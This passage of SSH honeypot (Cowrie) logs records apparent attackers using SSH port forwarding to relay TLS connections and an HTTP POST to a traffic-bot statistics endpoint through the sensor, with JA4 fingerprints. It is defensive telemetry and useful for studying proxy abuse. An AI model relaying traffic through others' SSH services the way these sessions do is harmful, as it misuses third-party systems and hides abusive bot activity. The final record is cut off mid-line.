{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:19.218796Z","src_ip":"23.175.50.47","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x87\\xc8\\x98\\xc9\\x14\\x9e\\x9b9\\xd7\\x04\\xb0\\x15\\x86+I\\xa1\\xceg\\xba\\xcd\\x077*\\x947\\t\\xe6i\\xfbt\\xf4\\x01 \\x7f\\x9d\\xa4\\xaf\\xf6u:)t{\\xd6-k\\x1a\\xfd\\xfa\\x94U\\xb8\\x95\\xb9%\\x83\\xd3\\xd8\\xbc\\xeb\\xbc\\x02\\'Q/\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 $\\xd3\\xcaG\\'\\x02C\\xed\\x9b\\xa1\\x19\\xc1\\xd6+\\n\\x1b\\x9eY\\x03w|[#\\x1a!\\xd0M\\xd8\\xcc\\xe7\\xc5\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x87\\xc8\\x98\\xc9\\x14\\x9e\\x9b9\\xd7\\x04\\xb0\\x15\\x86+I\\xa1\\xceg\\xba\\xcd\\x077*\\x947\\t\\xe6i\\xfbt\\xf4\\x01 \\x7f\\x9d\\xa4\\xaf\\xf6u:)t{\\xd6-k\\x1a\\xfd\\xfa\\x94U\\xb8\\x95\\xb9%\\x83\\xd3\\xd8\\xbc\\xeb\\xbc\\x02\\'Q/\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 $\\xd3\\xcaG\\'\\x02C\\xed\\x9b\\xa1\\x19\\xc1\\xd6+\\n\\x1b\\x9eY\\x03w|[#\\x1a!\\xd0M\\xd8\\xcc\\xe7\\xc5\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:19.224282Z","src_ip":"23.175.50.47","session":"a0b1bfde4260","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:20.249476Z","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:20.254768Z","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:20.307098Z","src_ip":"38.46.222.137","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.3.1 Mobile/17D50 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZXlvVmJ0KS85NER2b3dqXw%3D%3DdfMmebYPdU7J5JgKyR6V0pBrVBavuwJdXLFUCVfQMslnQ0%2FzsdkVpRwsYkA4UX5vSG1pe3e1E1wwMPkczmJIxo0ou5OZLbu%2FOHYiq287amiNCB6rjyavd6GnRK0mk8uqleOEnFmHvWhAcrsLtlEiukr3p8yovxBoU23HDMGSSLOkHmBUPXzlXxx7yVDZFBKg3eiMMNmj7e4ICLRrQgqe9kqGNoJaxAuQBEhfD1Mfp2ofTHPNIr41SFHkWh%2F4CQPuETvz6EUGsDauHOmPyodDAaonYO87mhZymhK47H8eYk97ZL6ElA2OAshcow7oM7p0OOBeHABwmh11AARPb%2FB71iwqBFXoY1SFJRV7tGwbyaT24oNx7D8maqY0IaOgPhpJ%2FsXEkMO4y0GQ2HN2WPRZS%2Fz3Khwf2Q8UASYQVx8Cg%2FQkycxpifzClpBMMKICaf7uDceh0rTDVvqO7m5ZPM8UmNb5mBskzF5QeOMma8dfo2ulEJqDpczZucFOFS4g5FH16yiHwT9IbvHVQNvA2FvgSD9ofgRzmOD2koiUj08442CbIdyc8ht5eo5uzGAnPKLtADGQlNF%2Flw1dRXxc6c64SRnvVqy8fF4Qm%2BSlxh8%2FkSlsOsHGDY%2BxrvQvYtnYfBMnF%2B4ppgEoxlG0AnErgAOKt4ar1zRZiBo841ZvfXLx%2F88NlSXd18soxLZFMM8Ynesmt5mvhvrgvMMDeCwxyp1ZUqjbR8Y%2F%2BQmh%2B14G31y8PhVvXHCFoA0%2FYJS8IgWLk0hGYLtOf1vuhwqC7uyAeFq9CsmrVbZeZmfxpq96N5WOJZzpCvqUTiCBLkodqcuIB%2BVLNUfqRErID5ijGaTYY42yDeeCTqjoYWbMTZNOLMmaxcAjdR7cuEu9Id8SbdlqEIkf8fuCqLaPl%2B2%2BDeItojXuDpQdjuJC8zceL7uweRXuOLCYcaxP9rfZ05DChSXgUlB3ZFgDs1BTcHjKqJJ1YWvY%2FE7weRESQZLtFJm4YIm9TO8WI8OnvzxiD879wGIGOLo1ZHTTAwME8bPu3S95kbFhNCXEZhxxtDcrq1AAmh8oytQXfHyHxVz5FEhzP2xTIxpa'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.3.1 Mobile/17D50 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZXlvVmJ0KS85NER2b3dqXw%3D%3DdfMmebYPdU7J5JgKyR6V0pBrVBavuwJdXLFUCVfQMslnQ0%2FzsdkVpRwsYkA4UX5vSG1pe3e1E1wwMPkczmJIxo0ou5OZLbu%2FOHYiq287amiNCB6rjyavd6GnRK0mk8uqleOEnFmHvWhAcrsLtlEiukr3p8yovxBoU23HDMGSSLOkHmBUPXzlXxx7yVDZFBKg3eiMMNmj7e4ICLRrQgqe9kqGNoJaxAuQBEhfD1Mfp2ofTHPNIr41SFHkWh%2F4CQPuETvz6EUGsDauHOmPyodDAaonYO87mhZymhK47H8eYk97ZL6ElA2OAshcow7oM7p0OOBeHABwmh11AARPb%2FB71iwqBFXoY1SFJRV7tGwbyaT24oNx7D8maqY0IaOgPhpJ%2FsXEkMO4y0GQ2HN2WPRZS%2Fz3Khwf2Q8UASYQVx8Cg%2FQkycxpifzClpBMMKICaf7uDceh0rTDVvqO7m5ZPM8UmNb5mBskzF5QeOMma8dfo2ulEJqDpczZucFOFS4g5FH16yiHwT9IbvHVQNvA2FvgSD9ofgRzmOD2koiUj08442CbIdyc8ht5eo5uzGAnPKLtADGQlNF%2Flw1dRXxc6c64SRnvVqy8fF4Qm%2BSlxh8%2FkSlsOsHGDY%2BxrvQvYtnYfBMnF%2B4ppgEoxlG0AnErgAOKt4ar1zRZiBo841ZvfXLx%2F88NlSXd18soxLZFMM8Ynesmt5mvhvrgvMMDeCwxyp1ZUqjbR8Y%2F%2BQmh%2B14G31y8PhVvXHCFoA0%2FYJS8IgWLk0hGYLtOf1vuhwqC7uyAeFq9CsmrVbZeZmfxpq96N5WOJZzpCvqUTiCBLkodqcuIB%2BVLNUfqRErID5ijGaTYY42yDeeCTqjoYWbMTZNOLMmaxcAjdR7cuEu9Id8SbdlqEIkf8fuCqLaPl%2B2%2BDeItojXuDpQdjuJC8zceL7uweRXuOLCYcaxP9rfZ05DChSXgUlB3ZFgDs1BTcHjKqJJ1YWvY%2FE7weRESQZLtFJm4YIm9TO8WI8OnvzxiD879wGIGOLo1ZHTTAwME8bPu3S95kbFhNCXEZhxxtDcrq1AAmh8oytQXfHyHxVz5FEhzP2xTIxpa'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:20.310715Z","src_ip":"38.46.222.137","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:20.313788Z","src_ip":"38.46.222.137","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03>\\x97PV\\x08/\\xe9\\xd2A\\xf13\\xcf\\xe2.O\\xd9$\\xf1\\xa9\\xc1~\\x9c&\\xdf\\xf6\\x11\\xb9\\xc5\\x02\\xe0w\\xd7 jK\\x1c\\xe5\\xaa\\xa0\\xda\\x02\\x80\\xc2\\xcc\\x1c\\xc0\\xd7\\x18\\xe9\\xe2Y\\x80a6\\x1c\\xf0\\r\\xca\\t\\xb7M\\xc8}av\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8.W\\xa1\\x8aQ!\\x88\\xa8(\\xf3\\x87\\t\\xba\\xc54\\x0fV\\xf1\\r\\x13\\xe1\\xdbO\\xcc\\xc7\\x1e\\x0c\\xed\\xc3\\xc5c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03>\\x97PV\\x08/\\xe9\\xd2A\\xf13\\xcf\\xe2.O\\xd9$\\xf1\\xa9\\xc1~\\x9c&\\xdf\\xf6\\x11\\xb9\\xc5\\x02\\xe0w\\xd7 jK\\x1c\\xe5\\xaa\\xa0\\xda\\x02\\x80\\xc2\\xcc\\x1c\\xc0\\xd7\\x18\\xe9\\xe2Y\\x80a6\\x1c\\xf0\\r\\xca\\t\\xb7M\\xc8}av\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8.W\\xa1\\x8aQ!\\x88\\xa8(\\xf3\\x87\\t\\xba\\xc54\\x0fV\\xf1\\r\\x13\\xe1\\xdbO\\xcc\\xc7\\x1e\\x0c\\xed\\xc3\\xc5c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:20.315334Z","src_ip":"38.46.222.137","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:20.384593Z","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:51:20.438269Z","src_ip":"38.46.222.137","session":"6944fbc7d87d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\x86\\x11\\x88-\\x9d~S\\xad3\\x02s3N\\xb4^I+\\xfbQ\\x96\\x1d\\xbef\\x9f04\\x94t\\x81M\\xbc \\xa1\\x9e q(\\xf9Z:\\xde)\\xd4wkR\\xb2B\\xdd[\\x1c3\\xf6\\xd4\\x8f\\xb3\\\\ \\x97a\\xf0\\x8f\\xab\\x19\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 l\\xc39\\x05e\\xfe\\x9d7\\xb5\\xbc\\xe5j\\xcc\\x16\\xcc\\x8f\\x86V!mC\\x9es\\xd2/\\x1f1\\x86U\\x87\\xf7D\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\x86\\x11\\x88-\\x9d~S\\xad3\\x02s3N\\xb4^I+\\xfbQ\\x96\\x1d\\xbef\\x9f04\\x94t\\x81M\\xbc \\xa1\\x9e q(\\xf9Z:\\xde)\\xd4wkR\\xb2B\\xdd[\\x1c3\\xf6\\xd4\\x8f\\xb3\\\\ 